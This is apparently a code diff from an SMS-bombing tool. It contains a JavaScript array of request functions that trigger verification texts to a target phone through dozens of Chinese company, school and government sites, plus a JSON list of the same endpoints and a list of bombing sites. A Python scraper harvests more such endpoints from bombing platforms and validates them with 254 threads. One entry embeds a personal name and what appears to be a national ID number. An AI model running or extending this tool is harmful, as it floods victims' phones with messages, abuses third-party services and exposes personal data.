fn: function (phone) {
$.ajax({
url: 'https://open-service.codemao.cn/captcha/rule',
contentType: "application/json;charset=UTF-8",
type: 'POST',
data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',
dataType: 'json',
success: function (data) {
$.ajax({
url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',
contentType: "application/json;charset=UTF-8",
type: 'POST',
data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',
dataType: 'json',
})
}
})
}
},
{
name: '迪卡侬',
fn: function (phone) {
$.ajax({
url: "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
type: "POST",
data: {"countryCode": "CN", "mobile": phone},
dataType: "json",
})
}
},
{
name: '股海网',
fn: function (phone) {
$.ajax({
url: "https://www.guhai.com.cn/front/member/sendSmsCode",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: 'LLL的个人blog',
fn: function (phone) {
$.ajax({
url: "http://www.lll.plus/sendCode/",
type: "POST",
data: {"tel": phone, "forgetPwd": ""},
dataType: "json",
})
}
},
{
name: '企米子',
fn: function (phone) {
$.ajax({
url: "https://www.xcxui.com/index/register/getcode.html",
type: "POST",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '蒲公英',
fn: function (phone) {
$.ajax({
url: "https://id.pgyer.com/user/getRegisterCode",
type: "POST",
data: {"tel": phone, "callingCode": "86", "mode": "tel"},
dataType: "json",
})
}
},
{
name: '百卓优采',
fn: function (phone) {
$.ajax({
url: "https://erp.abiz.com/mobilecode/sendMobileCode",
type: "POST",
data: {"mobile": phone, "captcha": ""},
dataType: "json",
})
}
},
{
name: '云背篓',
fn: function (phone) {
$.ajax({
url: "https://brand.yunbeilou.com/index.php/smssend",
type: "POST",
data: {"phone": phone, "v": "yes"},
dataType: "json",
})
}
},
{
name: 'PHP中文网',
fn: function (phone) {
$.ajax({
url: "https://m.php.cn/account/phone_code.html",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '12321',
fn: function (phone) {
$.ajax({
url: "http://dhba.12321.cn/api/verifycode",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: 'Testin众测',
fn: function (phone) {
$.ajax({
url: "https://www.ztestin.com/users/send/vercode",
type: "POST",
data: {"phone": phone, "type": "register", "voice": "0"},
dataType: "json",
})
}
},
{
name: '海尔',
fn: function (phone) {
$.ajax({
url: "http://maker.haier.net/client/user/sendregistervcode.html",
type: "POST",
data: {"account": phone},
dataType: "json",
})
}
},
{
name: '飞猫云',
fn: function (phone) {
$.ajax({
url: "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
type: "POST",
data: {"pcode": "+86", "phone": phone},
dataType: "json",
})
}
},
{
name: '觉数字化平台',
fn: function (phone) {
$.ajax({
url: "https://end.huajuetech.com/api/sendCode",
type: "POST",
data: {"mobile": phone, "email": "null", "verfy_method": "mobile"},
dataType: "json",
})
}
},
{
name: '问政江西',
fn: function (phone) {
$.ajax({
url: "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '河南智慧党建',
fn: function (phone) {
$.ajax({
url: "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
type: "POST",
data: {"phone": phone, "verifytype": "1"},
dataType: "json",
})
}
},
{
name: '陆陆陆云安全',
fn: function (phone) {
$.ajax({
url: "https://cloud.666idc.com/index/login/sendsms.html",
type: "POST",
data: {"mobile": phone, "mobile_pre": "86"},
dataType: "json",
})
}
},
{
name: '网易',
fn: function (phone) {
$.ajax({
url: "https://dz.blizzard.cn/action/user/mobile/captcha",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '码云社',
fn: function (phone) {
$.ajax({
url: "https://www.codeseeding.com/loginUser/toSend",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '人才山东',
fn: function (phone) {
$.ajax({
url: "http://sso.rcsd.cn/regist/getVerifyCode",
type: "POST",
data: {"personcall": phone},
dataType: "json",
})
}
},
{
name: '水利部',
fn: function (phone) {
$.ajax({
url: "http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '七联大学',
fn: function (phone) {
$.ajax({
url: "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
type: "POST",
data: {"phoneNumber": phone, "sendType": "0"}
})
}
},
{
name: '闪德资讯',
fn: function (phone) {
$.ajax({
url: "https://www.0101ssd.com/user/sendmsg",
type: "POST",
data: {"mobile": phone, "event": "register"},
dataType: "json",
})
}
},
{
name: '江苏省名师空中课堂',
fn: function (phone) {
$.ajax({
url: "https://mskzkt.jse.edu.cn/baseApi/user/code/",
type: "POST",
data: {"mobile": phone, "type": "1",},
dataType: "json",
})
}
},
{
name: 'CSFF短片',
fn: function (phone) {
$.ajax({
url: "https://csff.cutv.com/wapi/users/sendregcode",
type: "POST",
data: {"telphone": phone},
dataType: "json",
})
}
},
{
name: '广西人社厅',
fn: function (phone) {
$.ajax({
url: "http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx",
type: "POST",
data: {"aae005": phone, "aac003": "刘萌萌", "aac002": "210212198506035924", "notkeyflag": "1"},
dataType: "json",
})
}
},
{
name: '麦克赛尔数字映像',
fn: function (phone) {
$.ajax({
url: "https://www.maxell-dm.cn/Code/CheckImage.aspx",
type: "POST",
data: {"action": "send", "txtMember_Name": phone},
dataType: "json",
})
}
},
{
name: '宝提分',
fn: function (phone) {
$.ajax({
url: "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '选型系统',
fn: function (phone) {
$.ajax({
url: "http://www.cnppump.ltd/Service/UserHandler.ashx",
type: "GET",
data: {"cmd": "GetTelVerifyCode", "Tel": phone},
dataType: "json",
})
}
},
{
name: '千里马网信科技',
fn: function (phone) {
$.ajax({
url: "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
type: "POST",
data: {"tips": "1", "shouji": phone},
dataType: "json",
})
}
},
{
name: '保定云',
fn: function (phone) {
$.ajax({
url: "https://baodingyun.com.cn/register/send_registerSMS.html",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '欢动游戏',
fn: function (phone) {
$.ajax({
url: "http://www.gm5.com/auth/registerSms.html",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '迈威',
fn: function (phone) {
$.ajax({
url: "https://www.maiwe.com.cn/index/sendcode.html",
type: "GET",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '憨鼠社区',
fn: function (phone) {
$.ajax({
url: "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone="+phone+"&areaCode=86",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '天鹅到家',
fn: function (phone) {
$.ajax({
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '诺达筑工',
fn: function (phone) {
$.ajax({
url: "http://ks.ndzhugong.com/getVerificationCode?phone="+phone+"&password=&smscode=",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '栋才智慧',
fn: function (phone) {
$.ajax({
url: "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone="+phone+"&smsMode=2",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '工伤预防网上培训平台',
fn: function (phone) {
$.ajax({
url: "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '济宁专技',
fn: function (phone) {
$.ajax({
url: "https://sdjn-web.yxlearning.com/sendPhoneCode.gson",
type: "POST",
data: {"phone": phone, "sendType": "4"},
dataType: "json",
})
}
},
{
name: '宁夏伊地地质工程有限公司',
fn: function (phone) {
$.ajax({
url: "http://www.yddzgc.com/bid-app/api/sys/code?phone="+phone+"&type=1",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '青春大学说',
fn: function (phone) {
$.ajax({
url: "http://zycp.qcdxs.com:5001/sms/sendsms",
type: "POST",
data: {"phone_number": phone},
dataType: "json",
})
}
},
{
name: '兴业利达电子招投标平台',
fn: function (phone) {
$.ajax({
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
type: "POST",
data: {"username": phone, "type": "regUser", "mobile": "PC"},
dataType: "json",
})
}
},
{
name: '火象',
fn: function (phone) {
$.ajax({
url: "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
type: "POST",
data: {"temp": "1", "phone": phone},
dataType: "json",
})
}
},
{
name: '中科教育',
fn: function (phone) {
$.ajax({
url: "https://www.vipexam.cn/user/identifyingCode.action",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '聚题库',
fn: function (phone) {
$.ajax({
url: "https://uc.csdhe.com/v1/sms/send?mobile="+phone+"&apptype=examWeb",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '大广节',
fn: function (phone) {
$.ajax({
url: "http://47.103.35.255:510/api/Account/SendRestigerSms",
type: "POST",
data: {tel: phone},
dataType: "json",
})
}
},
{
name: '选择山东云平台',
fn: function (phone) {
$.ajax({
url: "http://israel.selectshandong.com/user/verification_code/send.html",
type: "POST",
data: {mobile: phone},
dataType: "json",
})
}
},
{
name: '苏州高新区教育局',
fn: function (phone) {
$.ajax({
url: "https://jssnd.edu.cn/apiu/v1/register/auth",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '专业技术人员继续教育平台',
fn: function (phone) {
$.ajax({
url: "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '泰安专技',
fn: function (phone) {
$.ajax({
url: "https://sdta-web.yxlearning.com/sendPhoneCode.gson",
type: "POST",
data: {"phone": phone, "sendType": "4"},
dataType: "json",
})
}
},
{
name: '志睿择',
fn: function (phone) {
$.ajax({
url: "https://www.vipexam.cn/user/identifyingCode.action",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '漏洞银行',
fn: function (phone) {
$.ajax({
url: "https://www.bugbank.cn/api/verifymobile",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '中国劳动保障新闻网',
fn: function (phone) {
$.ajax({
url: "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '金万维',
fn: function (phone) {
$.ajax({
url: "https://www.kuaijiexi.com/sendPhoneMessage",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '广西大数据发展局',
fn: function (phone) {
$.ajax({
url: "http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode",
type: "POST",
data: {"method":"sendMobileCode","userMobile":phone,"random":"1.2851343744474852"},
dataType: "json",
})
}
},
{
name: '凤凰金刚网',
fn: function (phone) {
$.ajax({
url: "https://api.shweina.com/sms/getCode?type=1&mobile="+phone+"&sms_id=1&_=1649572691296",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: 'SDTF',
fn: function (phone) {
$.ajax({
url: "http://www.satdatafresh.com/Register_send.php",
type: "POST",
data: {phone: phone},
dataType: "json",
})
}
},
{
name: 'UCG',
fn: function (phone) {
$.ajax({
url: "http://api.ucg.cn/api/account/get_code",
type: "POST",
data: {phone: phone,type:1},
dataType: "json",
})
}
},
{
name: '爱社区',
fn: function (phone) {
$.ajax({
url: "http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel="+phone+"&_=1649576168585",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '费耘网',
fn: function (phone) {
$.ajax({
url: "https://www.feeclouds.com/homepage/register/send",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: 'TCTY评测委员会',
fn: function (phone) {
$.ajax({
url: "https://bth.educg.net/new_registration.do",
type: "POST",
data: {"op": "getvfycode",phone: phone},
dataType: "json",
})
}
},
{
name: '中电仪器',
fn: function (phone) {
$.ajax({
url: "https://ceyear.com/Cn/Member/get_code",
type: "POST",
data: {phone: phone},
dataType: "json",
})
}
},
{
name: '航运e家',
fn: function (phone) {
$.ajax({
url: "http://co.hangyunejia.com/v1/account/sendregphonecode",
type: "POST",
data: {phone: phone},
dataType: "json",
})
}
},
{
name: '赛客呼吸',
fn: function (phone) {
$.ajax({
url: "https://m.xeek.cn/api/common/CheckCode/index.html",
type: "POST",
data: {"action":"register","account":phone,"accountType":"3"},
dataType: "json",
})
}
},
{
name: '佛山政务短信平台',
fn: function (phone) {
$.ajax({
url: "https://fsjf.fslgb.gov.cn/servlet/user",
type: "POST",
data: {"type":"getCode","certificate":"","phone":phone,"opr":"注册"},
dataType: "json",
})
}
},
{
name: '南京筑能网络科技有限公司',
fn: function (phone) {
$.ajax({
url: "http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php",
type: "POST",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '四川宝石花',
fn: function (phone) {
$.ajax({
url: "http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile="+phone+"&_=1649516272801",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '赛日速配',
fn: function (phone) {
$.ajax({
url: "https://sporax.com.cn/Login/sms",
type: "POST",
data: {"Mobile": phone},
dataType: "json",
})
}
},
{
name: '乐思无限',
fn: function (phone) {
$.ajax({
url: "http://sid.mk315.cn/index/register/getcode.html",
type: "POST",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '宁波材料所',
fn: function (phone) {
$.ajax({
url: "https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile="+phone+"&verifycode=[object%20HTMLInputElement]",
type: "POST",
data: {},
dataType: "json",
})
}
},
{
name: '佬司机大宗商品交易',
fn: function (phone) {
$.ajax({
url: "http://www.laosjgyl.com/register/sendCaptcha",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '广东省心理学会',
fn: function (phone) {
$.ajax({
url: "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
}
]

481
debug/api_tou.json Executable file
View File

@@ -0,0 +1,481 @@
[
{
"desc": "迪卡侬",
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
"method": "POST",
"header": "",
"data": {
"countryCode": "CN",
"mobile": "[phone]"
}
},
{
"desc": "股海网",
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "LLL的个人blog",
"url": "http://www.lll.plus/sendCode/",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"forgetPwd": ""
}
},
{
"desc": "企米子",
"url": "https://www.xcxui.com/index/register/getcode.html",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "蒲公英",
"url": "https://id.pgyer.com/user/getRegisterCode",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"callingCode": "86",
"mode": "tel"
}
},
{
"desc": "百卓优采",
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"captcha": ""
}
},
{
"desc": "云背篓",
"url": "https://brand.yunbeilou.com/index.php/smssend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"v": "yes"
}
},
{
"desc": "PHP中文网",
"url": "https://m.php.cn/account/phone_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "12321",
"url": "http://dhba.12321.cn/api/verifycode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "Testin众测",
"url": "https://www.ztestin.com/users/send/vercode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"type": "register",
"voice": "0"
}
},
{
"desc": "海尔",
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
"method": "POST",
"header": "",
"data": {
"account": "[phone]"
}
},
{
"desc": "飞猫云",
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
"method": "POST",
"header": "",
"data": {
"pcode": "+86",
"phone": "[phone]"
}
},
{
"desc": "华觉数字化平台",
"url": "https://end.huajuetech.com/api/sendCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"email": "null",
"verfy_method": "mobile"
}
},
{
"desc": "问政江西",
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "河南智慧党建",
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"verifytype": "1"
}
},
{
"desc": "陆陆陆云安全",
"url": "https://cloud.666idc.com/index/login/sendsms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"mobile_pre": "86"
}
},
{
"desc": "网易",
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "码云社",
"url": "https://www.codeseeding.com/loginUser/toSend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "人才山东",
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
"method": "POST",
"header": "",
"data": {
"personcall": "[phone]"
}
},
{
"desc": "水利部",
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "七联大学",
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
"method": "POST",
"header": "",
"data": {
"phoneNumber": "[phone]",
"sendType": "0"
}
},
{
"desc": "闪德资讯",
"url": "https://www.0101ssd.com/user/sendmsg",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"event": "register"
}
},
{
"desc": "江苏省名师空中课堂",
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"type": "1"
}
},
{
"desc": "CSFF短片",
"url": "https://csff.cutv.com/wapi/users/sendregcode",
"method": "POST",
"header": "",
"data": {
"telphone": "[phone]"
}
},
{
"desc": "广西人社厅",
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
"method": "POST",
"header": "",
"data": {
"aae005": "[phone]",
"aac003": "刘萌萌",
"aac002": "210212198506035924",
"notkeyflag": "1"
}
},
{
"desc": "麦克赛尔数字映像",
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
"method": "POST",
"header": "",
"data": {
"action": "send",
"txtMember_Name": "[phone]"
}
},
{
"desc": "宝提分",
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "选型系统",
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
"method": "GET",
"header": "",
"data": {
"cmd": "GetTelVerifyCode",
"Tel": "[phone]"
}
},
{
"desc": "千里马网信科技",
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
"method": "POST",
"header": "",
"data": {
"tips": "1",
"shouji": "[phone]"
}
},
{
"desc": "保定云",
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "欢动游戏",
"url": "http://www.gm5.com/auth/registerSms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "迈威",
"url": "https://www.maiwe.com.cn/index/sendcode.html",
"method": "GET",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "憨鼠社区",
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "天鹅到家",
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "诺达筑工",
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "栋才智慧",
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "工伤预防网上培训平台",
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "济宁专技",
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "宁夏伊地地质工程有限公司",
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "青春大学说",
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
"method": "POST",
"header": "",
"data": {
"phone_number": "[phone]"
}
},
{
"desc": "兴业利达电子招投标平台",
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
"method": "POST",
"header": "",
"data": {
"username": "[phone]",
"type": "regUser",
"mobile": "PC"
}
},
{
"desc": "火象",
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
"method": "POST",
"header": "",
"data": {
"temp": "1",
"phone": "[phone]"
}
},
{
"desc": "中科教育",
"url": "https://www.vipexam.cn/user/identifyingCode.action",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "聚题库",
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "苏州高新区教育局",
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "专业技术人员继续教育平台",
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "泰安专技",
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "志睿择",
"url": "https://www.vipexam.cn/user/identifyingCode.action",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "漏洞银行",
"url": "https://www.bugbank.cn/api/verifymobile",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "中国劳动保障新闻网",
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "广东省心理学会",
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "费耘网",
"url": "https://www.feeclouds.com/homepage/register/send",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
}
]

62
debug/hz-web.json Executable file
View File

@@ -0,0 +1,62 @@
[
{
"url": "https://duanxin.97sq.com/",
"key": "",
"title": "在线短信测压 97社区短信测压"
},
{
"url": "https://www.yxdhma.cn/",
"key": "",
"title": "大树免费短信测压"
},
{
"url": "http://107.173.149.61/index.php",
"key": "",
"title": "在线短信测压 智云短信轰炸"
},
{
"url": "http://www.ono.plus/iaJIR00a0sqf/index.php",
"key": "",
"title": "在线短信测压"
},
{
"url": "http://91zn.top/ylcs/",
"key": "",
"title": "免费短信测压"
},
{
"url": "http://103.45.122.14/index.php",
"key": "",
"title": "Hello短信测压"
},
{
"url": "https://ialtone.xyz/message/index.php",
"key": "",
"title": "ialtone的短信测压站"
},
{
"url": "http://lzc.muigs.xyz/index2.php?",
"key": "",
"title": "短信测压-冷之晨"
},
{
"url": "http://101.132.154.124:1200/index.php",
"key": "",
"title": "在线短信测压轰炸"
},
{
"url": "https://ceya.kpxdr.com/index.php",
"key": "",
"title": "在线短信测压—云端轰炸"
},
{
"url": "https://128.14.239.248/index.php",
"key": "",
"title": "在线短信测压 秋思短信轰炸"
},
{
"url": "http://101.43.16.51:665/index.php",
"key": "",
"title": ""
}
]

224
debug/spider-api.py Executable file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python python3
# coding=utf-8
# 爬取轰炸平台接口
from loguru import logger
import httpx
import requests
import re
from utils import Sql
import queue
import pathlib
import threading
import sys
import json
from prettytable import PrettyTable
import click
import urllib3
urllib3.disable_warnings()
# logger config
logger.remove()
logger.add(
sink=sys.stdout,
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
colorize=True,
backtrace=True
)
path = pathlib.Path(__file__).parent
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
}
class SMS(object):
# 默认的请求密钥
default_phone = "15019682928"
key_default = f"?hm={default_phone}&ok="
def __init__(self, website, key) -> None:
self.url = website
self.header = header
if key == "":
self.key = self.key_default
self.api_queue = queue.Queue()
self.db = Sql()
self.lock = threading.Lock()
self.ok_api = 0
def get_sms_api(self):
'''请求短信轰炸平台'''
with httpx.Client(verify=False) as ses:
ses.get(self.url, headers=self.header)
resp = ses.get(f"{self.url}{self.key}", headers=self.header)
pat = re.compile(r"<img src='(.*?)' alt")
apis = pat.findall(resp.text)
assert not apis == [], "未找到任何接口!"
# print(resp.text)
logger.info("获取到的原始接口总数:%s" % (len(apis)))
for api in apis:
# 三重校验网址
# 排除接口中没有电话号码的网址
if self.default_phone not in api:
continue
# 去除空白字符并替换默认手机号
api = api.strip().replace(" ", "").replace(
self.default_phone, "[phone]")
# 校验网址开头
if not (api.startswith("https://") or api.startswith("http://")):
continue
self.api_queue.put(api)
logger.info("Put到队列的接口总数:%s" % (self.api_queue.qsize()))
self.size = self.api_queue.qsize()
def check_theads(self):
'''多线程检查可用性'''
while not self.api_queue.empty():
api = self.api_queue.get()
try:
with requests.get(api.replace("[phone]", self.default_phone), headers=self.header, timeout=8, verify=False) as resp:
if resp.status_code == 200:
with self.lock:
self.db.update(api)
except Exception as e:
pass
finally:
self.api_queue.task_done()
def main(self):
self.get_sms_api()
# 在此设置线程数 int 类型
threads_count = 254
threads = [
threading.Thread(target=self.check_theads,
name=f"{i}", daemon=True)
for i in range(1, threads_count+1)
]
for thread in threads:
thread.start()
logger.info("多线程校验进行中......(可能耗时比较长)")
from tqdm import tqdm
import time
with tqdm(total=self.size) as pbar:
while not self.api_queue.empty():
pbar.update(self.size-self.api_queue.qsize())
self.size = self.api_queue.qsize()
time.sleep(0.5)
self.api_queue.join()
logger.info(f"总接口数目(去重后):{len(self.db.select())}")
def test_api_web(url: str) -> tuple:
"""check api web is ok?
:return: tuple
"""
if url is None:
return
with httpx.Client(headers=header, verify=False) as client:
try:
resp = client.get(url=url).text
title = re.findall('<title>(.*?)</title>', resp)
if title:
logger.info(f"{url} title:{title[0]}")
return (title[0], url)
except httpx.HTTPError as why:
logger.error(f"{url} 请求错误! {why}")
return
def load_api_web():
"""从 json 文件加载轰炸网址.并测试!
:return:
"""
json_path = pathlib.Path(path, 'hz-web.json')
table = PrettyTable(["标题", "链接"])
if not json_path.exists():
logger.error(f"hz-web.json not exists in {str(json_path)}!")
return
j = json_path.read_text(encoding="utf8")
ok_web = []
try:
webs = json.loads(j)
except json.decoder.JSONDecodeError as why:
logger.error(f"json syctax error! {why}")
return
for web in webs:
result = test_api_web(web['url'])
if result:
table.add_row([result[0], result[1]])
ok_web.append(
{"url": result[1], "key": web.get('key'), "title": result[0]})
logger.success(f"有效的轰炸网站:\n{table}")
if input(">>是否写入 hz-web.json?(Y/n)") == "Y":
with open(json_path, encoding="utf8", mode="w") as fp:
try:
json.dump(ok_web, fp, ensure_ascii=False)
logger.success("save hz-web.json success!")
except Exception as why:
logger.error(f"write hz-web.json error {why}")
return ok_web
@click.group()
def cli():
pass
@click.command()
def spider_all():
"""
根据目录下的 hz-web.json 文件更新接口
"""
websites = load_api_web()
for website in websites:
logger.info(f"正在爬取:{website['url']}")
try:
sms = SMS(website=website['url'], key=website['key']).main()
except Exception as why:
logger.critical(f"爬取:{website['url']} 出错:{why}")
@click.command()
@click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True)
@click.option('--key', help='网址携带的参数(可选)', default="")
def spider_one(url, key):
"""爬取单个网址."""
try:
sms = SMS(website=url, key=key).main()
except Exception as why:
logger.critical(f"爬取:{url} 出错:{why}")
@click.command()
@logger.catch
def save_api():
"""保存api到 GETAPI.json 文件"""
db = Sql()
apis = db.select()
api_lst = [
api
for api in apis
]
with open("GETAPI.json", mode="w") as j:
json.dump(fp=j, obj=api_lst, ensure_ascii=False)
logger.success("写入到 GETAPI.json 成功!")
cli.add_command(spider_all)
cli.add_command(spider_one)
cli.add_command(save_api)
